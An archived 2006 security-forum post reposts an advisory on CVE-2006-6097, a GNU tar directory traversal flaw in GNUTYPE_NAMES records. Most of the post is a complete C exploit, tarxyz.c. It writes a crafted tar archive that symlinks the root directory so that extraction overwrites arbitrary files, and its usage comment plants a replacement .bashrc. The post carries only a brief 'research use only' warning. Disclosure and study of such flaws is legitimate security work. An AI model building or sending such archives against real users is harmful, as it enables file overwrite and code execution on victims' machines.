邪恶八进制信息安全团队技术讨论组's Archiver

神舞 2006-11-29 21:50

[转载]GNU Tar GNUTYPE_NAMES远程目录遍历漏洞

信息来源:绿盟

发布日期:2006-11-21
更新日期:2006-11-29

受影响系统:
GNU tar 1.16
GNU tar 1.15.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 21235
CVE(CAN) ID: CVE-2006-6097

GNU tar可创建和解压tar文档,并进行各种存档文件管理。

GNU tar在处理特定的记录时未能正确处理可能的符号链接,远程攻击者可能利用此漏洞在用户机器的任意位置创建文件。

tar的extract.c文件中的extract_archive()函数和mangle.c文件中的extract_mangle()函数会处理包含有符号链接的GNUTYPE_NAMES记录类型。如果用户受骗打开了特制的tar文件的话,就会导致覆盖任意文件。

<*来源:Teemu Salmela ([email]teemu.salmela@iki.fi[/email])
  
  链接:[url]http://secunia.com/advisories/23115/[/url]
      [url]http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0344.html[/url]
      [url]http://marc.theaimsgroup.com/?l=bugtraq&m=116474353115287&w=2[/url]
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
  * tarxyz.c - GNU tar directory traversal exploit.
  * Written by Teemu Salmela.
  *
  * Example usage (creates a tar file that extracts /home/teemu/.bashrc):
  *  $ gcc -o tarxyz tarxyz.c
  *  $ ./tarxyz > ~/xyz.tar
  *  $ mkdir -p /tmp/xyz/home/teemu/
  *  $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc
  *  $ cd /tmp
  *  $ tar -rf ~/xyz.tar xyz/home/teemu
  */

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

struct posix_header
{                     /* byte offset */
  char name[100];          /*  0 */
  char mode[8];            /* 100 */
  char uid[8];            /* 108 */
  char gid[8];            /* 116 */
  char size[12];           /* 124 */
  char mtime[12];          /* 136 */
  char chksum[8];          /* 148 */
  char typeflag;           /* 156 */
  char linkname[100];        /* 157 */
  char magic[6];           /* 257 */
  char version[2];          /* 263 */
  char uname[32];          /* 265 */
  char gname[32];          /* 297 */
  char devmajor[8];         /* 329 */
  char devminor[8];         /* 337 */
  char prefix[155];         /* 345 */
                      /* 500 */
};

#define GNUTYPE_NAMES &#39;N&#39;

#define BLOCKSIZE     512

union block
{
  char buffer[BLOCKSIZE];
  struct posix_header header;
};

void
data(void *p, size_t size)
{
      size_t n = 0;
      char b[BLOCKSIZE];

      while (size - n > 512) {
            fwrite(&((char *)p)[n], 1, 512, stdout);
            n += 512;
      }
      if (size - n) {
            memset(b, 0, sizeof(b));
            memcpy(b, &((char *)p)[n], size - n);
            fwrite(b, 1, sizeof(b), stdout);
      }
}

int
main(int argc, char *argv[])
{
      char *link_name = "xyz";
      union block b;
      char *d;
      int i;
      unsigned int cksum;

      if (argc > 1)
            link_name = argv[1];

      if (asprintf(&d, "Symlink / to %s\n", link_name) < 0) {
            fprintf(stderr, "out of memory\n");
            exit(1);
      }
      memset(&b, 0, sizeof(b));
      strcpy(b.header.name, "xyz");
      strcpy(b.header.mode, "0000777");
      strcpy(b.header.uid, "0000000");
      strcpy(b.header.gid, "0000000");
      sprintf(b.header.size, "%011o", strlen(d));
      strcpy(b.header.mtime, "00000000000");
      strcpy(b.header.chksum, "      ");
      b.header.typeflag = GNUTYPE_NAMES;
      strcpy(b.header.magic, "ustar  ");
      strcpy(b.header.uname, "root");
      strcpy(b.header.gname, "root");
      for (cksum = 0, i = 0; i < sizeof(b); i++)
            cksum += b.buffer[i] & 0xff;
      sprintf(b.header.chksum, "%06o ", cksum);
      fwrite(&b, 1, sizeof(b), stdout);
      data(d, strlen(d));
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

GNU
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

[url]http://www.gnu.org[/url]



ps 不知道能转不能转..要是不能转 就别过了-_-!

页: [1]
© 1999-2008 EvilOctal Security Team